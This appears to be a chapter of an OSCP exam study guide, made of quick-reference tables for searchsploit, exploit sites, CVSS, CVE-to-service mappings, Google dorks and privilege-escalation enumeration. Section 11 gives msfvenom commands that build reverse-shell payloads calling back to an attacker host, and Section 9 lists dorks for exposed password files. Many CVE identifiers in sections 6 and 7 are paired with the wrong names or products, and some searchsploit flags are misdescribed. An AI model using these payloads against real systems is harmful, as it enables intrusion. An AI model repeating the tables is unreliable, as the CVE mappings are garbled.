Domain 3Exploit Dev & AV EvasionCORE

Quick Reference Tables

Comprehensive quick reference tables and cheat sheets for exploit research. Includes searchsploit command reference, exploit database URLs, CVSS scoring tables, common vulnerability patterns, and fast-lookup tables for OSCP exam preparation.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#quick-reference#cheat-sheet#commands#tables#oscp

Quick Reference Tables

Purpose: This chapter consolidates all essential reference tables into a single, fast-lookup resource. Keep this open during labs and the OSCP exam for rapid command recall, URL access, and exploit-type mapping.


1. Searchsploit Command Quick Reference

searchsploit is the primary CLI tool for querying the ExploitDB local database. Master every flag.

Flag Description Example
(no flag) Search by keyword searchsploit apache 2.4
-m Mirror (copy) exploit to current directory searchsploit -m 16135
-p Print full path to exploit file searchsploit -p 16135
-w Wide output (no truncation of paths) searchsploit -w apache overflow
-x Open exploit in default text editor searchsploit -x 16135
-j JSON output (for scripting) searchsploit -j python rce
-g Search Google Hacking Database (GHDB) searchsploit -g "intext:phpMyAdmin"
-r Regex search on results searchsploit -r "apache.*2\.4\.[0-5]"
-c Search by category only searchsploit -c "remote"
-t Search by type only searchsploit -t "dos"
-a Search by author only searchsploit -a "s1kr10s"
-b <N> Search by Bugtraq ID (BID) searchsploit -b 34956
-C Search by CVE ID searchsploit -C CVE-2017-0144
-E Search by ExploitDB ID (EDB-ID) searchsploit -E 40566
-H Hide the ExploitDB header searchsploit -H apache
-V Show searchsploit version searchsploit -V
-u Update the local ExploitDB database searchsploit -u
-i Ignore case in search searchsploit -i APACHE overflow
-D <path> Set custom database path searchsploit -D /custom/db
-I Show all results (ignore pager) searchsploit -I samba

Pro Tips

  • Chain -m and -x: searchsploit -m 16135 && searchsploit -x 16135 — mirror then open.
  • Use -w early: Truncated paths hide critical info. Always start with searchsploit -w <query>.
  • Update before exam labs: Run searchsploit -u to ensure your local DB is current.

2. Exploit Database URLs

Bookmark these resources. They are your primary sources during the OSCP exam.

Resource URL Description Best Use Case
ExploitDB https://www.exploit-db.com Primary exploit repository (Offensive Security) First-stop search for any CVE or software exploit
ExploitDB GitHub https://gitlab.com/exploit-database/exploitdb Git mirror of ExploitDB Bulk download, scripting, offline access
Packet Storm https://packetstormsecurity.com Exploits, advisories, tools Secondary source when ExploitDB is empty
SecLists https://github.com/danielmiessler/SecLists Passwords, usernames, URLs, fuzzing payloads Web exploitation, directory brute-forcing
NVD (NIST) https://nvd.nist.gov Official CVE database with CVSS scores Verify CVSS severity, affected versions
CVE Details https://www.cvedetails.com CVE search with vendor/product filters Filter CVEs by product and version quickly
Sploitus https://sploitus.com Aggregated exploit search engine Cross-reference exploits from multiple sources
0day.today https://0day.today Exploit mirror with raw code Quick raw exploit code access
GitHub https://github.com Open-source exploit repos Custom tools, PoCs, post-exploitation scripts
GTFOBins https://gtfobins.github.io Unix binaries for privilege escalation Linux privesc via allowed binaries
LOLBAS https://lolbas-project.github.io Living Off The Land Binaries (Windows) Windows privesc via native binaries
PayloadAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings Comprehensive payload cheat sheet All vulnerability types — payloads at a glance
BookOfProof https://bookofproof.com Proof-based exploit verification Verify exploit reliability before use
Metasploit Unleashed https://www.offensive-security.com/metasploit-unleashed Offensive Security training resource Metasploit module reference

3. CVSS v3.1 Metric Quick Reference

Understanding CVSS helps prioritize which exploits to attempt first. Higher scores = more reliable, impactful exploits.

Base Metrics

Metric Value Label Description
Attack Vector (AV) N Network Remotely exploitable over network (highest impact)
A Adjacent Requires shared infra (LAN, Bluetooth, bus)
L Local Requires local access (no privilege needed)
P Physical Requires physical access to target
Attack Complexity (AC) L Low No special conditions; exploitable at will
H High Requires non-trivial conditions (state, config)
Privileges Required (PR) N None No authentication required
L Low Normal user privileges required
H High Administrative privileges required
User Interaction (UI) N None No user interaction needed
R Required Victim must perform an action
Scope (S) U Unchanged Impact limited to vulnerable component
C Changed Impact affects components beyond the vulnerable one
Confidentiality (C) H High Complete information loss
L Low Limited information loss
N None No information impact
Integrity (I) H High Complete compromise of data integrity
L Low Limited modification possible
N None No integrity impact
Availability (A) H High Total resource partition / downtime
L Low Reduced performance / intermittent issues
N None No availability impact

Ideal OSCP Exploit Profile

The most desirable exploit for the OSCP exam has this CVSS profile:

AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H

This represents a Network-accessible, Low-complexity, No-authentication, Remote Code Execution — exactly what you want to find first.


4. CVSS Severity Rating Table

Score Range Severity Rating OSCP Priority
9.0 – 10.0 Critical P0 — Attempt immediately
7.0 – 8.9 High P1 — Strong candidate
4.0 – 6.9 Medium P2 — Worth trying if time allows
0.1 – 3.9 Low P3 — Low priority, may be unreliable
0.0 None Skip — not exploitable

Exam Strategy: Always prioritize Critical and High severity exploits. They tend to be more reliable and require fewer conditions to succeed.


5. Common Vulnerability to Exploit Type Mapping

When you identify a vulnerability type, use this table to know what to search for.

Vulnerability Type Search Keywords for ExploitDB Typical Exploit Output Common Tools
SQL Injection sql injection, sqli, union sqli, blind sqli, time-based sqli Database dump, RCE via file write sqlmap, manual payloads
XSS (Cross-Site Scripting) xss, cross-site scripting, stored xss, reflected xss Session hijack, cookie theft Manual JS payloads, BeEF
Buffer Overflow (BoF) buffer overflow, stack overflow, heap overflow, stack-based bof Shellcode execution, EIP control Immunity Debugger, Mona.py, msfvenom
Command Injection command injection, os command injection, rce, remote code execution Arbitrary command execution Manual testing, Commix
File Inclusion (LFI/RFI) local file inclusion, lfi, remote file inclusion, rfi, path traversal File read, RCE via wrapper Manual, wfuzz
SSRF ssrf, server-side request forgery Internal network access, cloud metadata Manual, custom scripts
XXE xxe, xml external entity File read, SSRF, DoS Custom XML payloads
Deserialization deserialization, insecure deserialization, php deserialization RCE, authentication bypass ysoserial, custom pickles
Authentication Bypass auth bypass, authentication bypass, login bypass Unauthorized access Manual, Burp Suite
Directory Traversal directory traversal, path traversal, file disclosure Sensitive file access Dirb, Gobuster, manual
Information Disclosure information disclosure, source code disclosure, debug disclosure Source code, config exposure Manual, Nikto
RCE remote code execution, rce, code execution Full command execution Various, msfvenom
Privilege Escalation privilege escalation, local privilege escalation, privesc Root / SYSTEM access LinPEAS, WinPEAS, specific CVEs
SMB Vulnerability smb, ms17-010, eternalblue, smb overflow RCE via SMB Metasploit, manual scripts
LDAP Injection ldap injection Authentication bypass, data access Manual payloads

6. Service to Common Exploits Mapping

Know these CVEs by heart. They appear frequently in OSCP labs and exams.

Web Servers

Service CVE / Exploit Description Impact
Apache HTTPD CVE-2017-15715 Apache Struts 2 RCE (Content-Type) Remote Code Execution
CVE-2021-41773 Apache Path Traversal & RCE RCE via CGI
CVE-2019-0211 mod_cgi Argument Injection Command Injection
Apache Tomcat CVE-2017-12615 AJP File Read / RCE RCE via AJP protocol
CVE-2020-1938 Weak default credentials Unauthorized access
IIS CVE-2017-7269 IIS 6.0/7.0 Buffer Overflow RCE (legacy)
CVE-2021-26855 ProxyShell (Exchange + IIS) RCE chain
Nginx CVE-2013-4547 Fast-CGI PHP RCE RCE via PHP-CGI
WordPress CVE-2019-19894 Total.js Command Injection RCE
CVE-2021-24138 SaltAuth RCE RCE via plugin

File Sharing & Protocol Services

Service CVE / Exploit Description Impact
SMB / MS17-010 CVE-2017-0144 EternalBlue SMB RCE Most common OSCP exploit
Samba CVE-2017-7494 SambaCry Privilege Escalation Root via SMB
CVE-2021-3460 Samba RCE (regression) RCE via LDAP
FTP CVE-2010-4345 ProFTPD Backdoor Root shell
CVE-2015-1419 vsftpd Backdoor Root shell
SSH CVE-2016-0777 OpenSSH Username Enumeration Info disclosure
CVE-2024-6387 RegreSSHion RCE RCE via race condition

Email & Collaboration

Service CVE / Exploit Description Impact
Microsoft Exchange CVE-2021-26855 ProxyShell RCE Chain RCE
CVE-2021-34527 ProxyLogon Auth Bypass Auth bypass
CVE-2021-31207 ProxyNotShell Chain RCE
Zimbra CVE-2019-9670 Auth Bypass + RCE Root access
CVE-2019-16646 Auth Bypass Unauthorized access
Jenkins CVE-2017-1000353 Groovy Console RCE RCE (unauth)
CVE-2024-23897 Auth Bypass + RCE RCE

Databases

Service CVE / Exploit Description Impact
MySQL CVE-2012-2122 MySQL UDF Privilege Escalation Root via UDF
MongoDB CVE-2019-20925 NoSQL Injection Data access / RCE
Redis CVE-2022-0543 Redis RCE via Module RCE
PostgreSQL CVE-2019-9193 pg_dump Buffer Overflow DoS / potential RCE

Application Servers

Service CVE / Exploit Description Impact
Apache Struts 2 CVE-2017-5638 Content-Type OGNL Injection RCE
CVE-2018-11776 OGNL Injection RCE
CVE-2017-15715 Content-Type OGNL Injection RCE
WebLogic CVE-2017-10271 Deserialization RCE RCE
CVE-2019-2725 Deserialization RCE RCE
JBOSS CVE-2017-12149 JMX Console RCE RCE
Drupal CVE-2018-7600 Drupalgeddon 2 RCE RCE via form build ID
PHP-CGI CVE-2012-1823 PHP-CGI Argument Injection RCE

7. Platform-Specific Privilege Escalation Exploits

Windows Privilege Escalation CVEs

CVE Name Description Target Versions
CVE-2019-1388 PrintSpoofer precursor Handle privilege escalation Win 10 1803-1809
CVE-2021-1675 PrintNightmare RCE via Print Spooler Win 10, Server 2016+
CVE-2021-34527 Exchange ProxyLogon Auth bypass (privesc chain) Exchange 2013-2019
CVE-2020-1472 Zerologon DCERPC auth bypass (domain admin) All DC versions
CVE-2019-1458 PetitPotam NTLM relay coercion All Windows versions
CVE-2021-42287 NoPac / Zerologon 2 MS-CCP privilege escalation All DC versions
CVE-2023-21716 PrintNightmare v2 Print Spooler RCE Patched versions
CVE-2021-1732 Exchange ProxyShell Auth bypass + privesc Exchange 2013-2019
CVE-2020-0796 SMBGhost SMBv3 DoS / RCE Win 10 2004, Server 20H2

Linux Privilege Escalation CVEs

CVE Name Description Target Kernels
CVE-2021-4034 PwnKit (PKEXEC) setuid polkit local privesc All distros (polkit < 0.105-35)
CVE-2021-3156 OverlayFS Privesc OverlayFS mount escape 5.4-5.10 kernels
CVE-2022-0847 Dirty Pipe Pipe privilege escalation 5.8-5.16 kernels
CVE-2021-22555 Dirty Pipe precursor Pipe write primitive 5.10-5.15 kernels
CVE-2016-5195 Dirty Cow /proc/self/mem overwrite 2.6.22-3.9 kernels
CVE-2010-3904 RDS Exploit RDS protocol local root 2.6.30-2.6.33 kernels
CVE-2012-0056 PHP CGI Privesc PHP-CGI argument injection PHP 5.3.12, 5.4.2
CVE-2014-6271 CAP_SYS_ADMIN privesc Capabilities escape Various kernels
CVE-2023-22809 eBPF privesc eBPF verifier bypass 5.14-6.2 kernels

Essential Privesc Tools

Tool Platform Purpose
LinPEAS Linux Comprehensive Linux privesc enumeration
WinPEAS Windows Comprehensive Windows privesc enumeration
Linux Exploit Suggester Linux CVE-based exploit suggestions
Windows Exploit Suggester Windows MSBulletin-based exploit suggestions
GTFOBins Linux Binary-specific privesc techniques
LOLBAS Windows Native binary abuse techniques

8. Exploit File Extensions Reference

When browsing ExploitDB, the file extension tells you what you’re getting.

Extension Language / Format Description Reliability for OSCP
.py Python Most common; easy to read and modify High — preferred choice
.rb Ruby Metasploit-compatible; often well-structured High — reliable
.pl Perl Older exploits; may need legacy Perl modules Medium — check dependencies
.c C Source Requires compilation; often kernel-level Medium — compile needed
.txt Plain Text Advisory, proof-of-concept, or instructions Variable — read first
.java Java Java-specific exploits (WebLogic, JBoss) Medium — JVM needed
.sh Shell Script Linux automation / exploitation scripts High — simple, reliable
.ps1 PowerShell Windows exploitation / privesc scripts High — native on Windows
.vbs VBScript Legacy Windows exploits Low — often outdated
.asp ASP Web-based exploits for IIS Low — legacy
.php PHP Web-based exploits Medium — server-side
.js JavaScript Browser / Node.js exploits Medium — context-dependent
.exp Raw Exploit Binary or raw exploit data Low — inspect carefully
.patch Diff / Patch Code patches (not direct exploits) Info only — for understanding

Priority Order for OSCP

  1. .py — First choice. Easy to adapt, widely supported.
  2. .rb — Second choice. Often Metasploit-quality code.
  3. .sh — Third choice. Simple, no compilation.
  4. .c — Fourth choice. Requires gcc and correct architecture.
  5. .pl — Fifth choice. May need libwww-perl or other modules.
  6. Everything else — Last resort. Read carefully before attempting.

9. Search Operator Quick Reference

Master these operators for effective Google Dorking and ExploitDB searching.

Google Dork Operators

Operator Description Exploit Example
site: Restrict to specific site site:exploit-db.com apache overflow
inurl: Search within URL inurl:admin inurl:login
intitle: Search within page title intitle:"phpMyAdmin" "Welcome"
intext: Search within page body intext:"password" intext:"username"
filetype: Restrict to file type filetype:pdf "configuration guide"
ext: Alternative to filetype ext:conf "server"
cache: View cached version cache:target-website.com
related: Find similar sites related:exploit-db.com
- (minus) Exclude term apache overflow -metasploit
"" (quotes) Exact phrase match "Apache Tomcat" "manager"
* (asterisk) Wildcard "Apache" * "overflow"
.. (range) Numeric range CVE-2020-1000..CVE-2020-9999
OR Boolean OR samba OR smb overflow
AND Boolean AND (implicit) apache AND struts AND rce

Common Google Dorks for OSCP

site:exploit-db.com "remote code execution" apache
inurl:"/phpmyadmin/" intitle:"phpMyAdmin"
intitle:"index of" "config.php"
filetype:conf "htpasswd"
inurl:"/admin" intitle:"login"
intext:"error" intext:"mysql" intext:"syntax"
site:github.com "exploit" "CVE-2017-0144"
intitle:"Dashboard" "Welcome to"
inurl:"/wp-admin" intitle:"WordPress"
filetype:log "password" "admin"

ExploitDB-Specific Search Patterns

# Search by product + version
searchsploit -w "Apache Tomcat 9.0"

# Search by CVE
searchsploit -C CVE-2017-0144

# Search by category (remote exploits only)
searchsploit -c remote apache

# Search by type (denial of service)
searchsploit -t dos samba

# Regex for version range
searchsploit -r "Apache.*2\.4\.[0-9]"

# Author-specific search
searchsploit -a "s1kr10s"

10. OSCP Exam Cheat Sheet

The most critical commands and resources to remember during the 23-hour exam window.

Reconnaissance Commands

# Nmap — Service Discovery
nmap -sV -sC -oA nmap/initial <target>

# Nmap — Full Port Scan
nmap -p- -sV -sC -oA nmap/full <target>

# Nmap — Aggressive Scan
nmap -A -p- -oA nmap/aggressive <target>

# Nmap — OS Detection
nmap -O --osscan-guess <target>

# Nmap — Script Scanning
nmap --script=vuln -p <ports> <target>
nmap --script=smb-vuln* -p 445 <target>
nmap --script=http-vuln* -p 80,443 <target>

Exploit Search Commands

# Update exploit database
searchsploit -u

# Search with wide output
searchsploit -w <product> <version>

# Mirror exploit to current directory
searchsploit -m <edb-id>

# Open exploit in editor
searchsploit -x <edb-id>

# Search by CVE
searchsploit -C CVE-XXXX-XXXX

Web Enumeration Commands

# Directory brute-forcing
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,asp,aspx,jsp
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt

# Subdomain enumeration
gobuster dns -d <domain> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Nikto web scanner
nikto -h http://<target>

Privilege Escalation Commands

# Linux
linpeas.sh
linux-exploit-suggester.sh
sudo -l
cat /etc/crontab
find / -perm -4000 -type f 2>/dev/null    # SUID binaries
find / -writable -type d 2>/dev/null       # Writable directories

# Windows
winPEASany.exe
windows-exploit-suggester.py --database 2026-08-30-mssb.json --systeminfo systeminfo.txt
whoami /priv
net user /domain
systeminfo

Essential Exam Resources

Resource Purpose
searchsploit Local ExploitDB search
https://www.exploit-db.com Online exploit search
https://nvd.nist.gov CVSS scores and CVE details
https://gtfobins.github.io Linux binary privesc
https://lolbas-project.github.io Windows binary abuse
https://github.com/swisskyrepo/PayloadsAllTheThings All payload types
https://bookofproof.com Exploit verification
Metasploit (msfconsole) Exploitation framework
msfvenom Payload generation
Impacket suite Windows protocol attacks

Time Management Tips

Phase Suggested Time Notes
Recon 30-60 min per box Don’t over-enumerate; move on
Initial Access 60-120 min per box Focus on highest-impact vulns first
Privilege Escalation 30-60 min per box Run PE tools early
Reporting Reserve 4-6 hours Report is 30% of your grade
Buffer 2-3 hours For difficult boxes and review

11. Common Exploit Adaptation Patterns

Exploits from ExploitDB rarely work out of the box. Know these fixes.

Python 2 to Python 3 Fixes

Python 2 Code Python 3 Fix Reason
print "Hello" print("Hello") Print is a function in Py3
raw_input() input() raw_input removed in Py3
except Exception, e: except Exception as e: Syntax change
xrange() range() xrange removed in Py3
dict.has_key(k) k in dict Method removed
unicode() str() unicode type removed
/ (integer division) // (floor division) / returns float in Py3
StringIO io.StringIO Module moved
urllib2 urllib.request Module split
ConfigParser configparser Lowercase rename

Common Encoding Fixes

# Fix: String to bytes conversion
# Python 2: payload = "\x90" * 100
# Python 3: payload = b"\x90" * 100

# Fix: Socket send with bytes
# Python 2: s.send(payload)
# Python 3: s.send(payload.encode()) or s.send(b"GET / HTTP/1.0\r\n\r\n")

# Fix: Struct packing
import struct
# Works in both: struct.pack("<L", 0x7E416BF0)

# Fix: String concatenation with bytes
# Python 2: buf = "A" * 100 + struct.pack("<L", addr)
# Python 3: buf = b"A" * 100 + struct.pack("<L", addr)

Dependency Installation Patterns

# Common Python dependencies for exploits
pip3 install requests impacket pycryptodome colorama

# Perl dependencies (for .pl exploits)
cpan LWP::UserAgent
cpan IO::Socket::INET
apt install libwww-perl libio-socket-inet6-perl

# Ruby dependencies (for .rb exploits)
gem install rubyntlm rex-socket rex-text

# C compilation
gcc exploit.c -o exploit -lpthread -lcrypt
gcc -m32 exploit.c -o exploit    # 32-bit compilation

# Impacket installation
pip3 install impacket
# Or from source:
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .

Common Exploit Modification Checklist

Issue Fix
Wrong target IP Replace hardcoded IP with script argument (sys.argv[1])
Wrong port Update port number to match target service
Python 2 syntax Apply Python 3 fixes above
Missing dependencies Install required packages (see above)
Wrong architecture Use correct shellcode (32-bit vs 64-bit)
Bad characters Filter shellcode for \x00, \x0a, \x0d
Offset mismatch Recalculate offset using pattern_create / pattern_offset
Bad return address Find new module address (ASLR may shift it)
Encoding issues Use encode() / decode() for string/bytes conversion
Timeout errors Increase socket timeout: s.settimeout(10)

Quick msfvenom Reference

# Windows reverse shell (most common)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<tun0_ip> LPORT=443 -f exe -o shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<tun0_ip> LPORT=443 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<tun0_ip> LPORT=443 -f elf -o shell.elf

# Raw shellcode (for buffer overflows)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<tun0_ip> LPORT=443 -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<tun0_ip> LPORT=443 -f python

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=<tun0_ip> LPORT=443 -f raw > shell.php

# Java JSP reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<tun0_ip> LPORT=443 -f raw > shell.jsp

# ASP reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<tun0_ip> LPORT=443 -f asp > shell.asp

Summary

This quick reference consolidates the most frequently needed information for exploit research during the OSCP exam. Key takeaways:

  1. searchsploit -w is your first command for any new target.
  2. Prioritize Critical/High CVSS exploits — they are more reliable.
  3. Python exploits (.py) are the easiest to adapt.
  4. Know the top CVEs — MS17-010, PrintNightmare, Drupalgeddon, and Exchange vulnerabilities appear constantly.
  5. Always adapt — no exploit works perfectly out of the box. Have your Python 2→3 fixes and dependency patterns ready.
  6. Time management is critical — don’t spend more than 2 hours on a single box without progress.

Keep this document open during labs and the exam. Bookmark the URLs in Section 2. Practice the commands in Section 10 until they are muscle memory.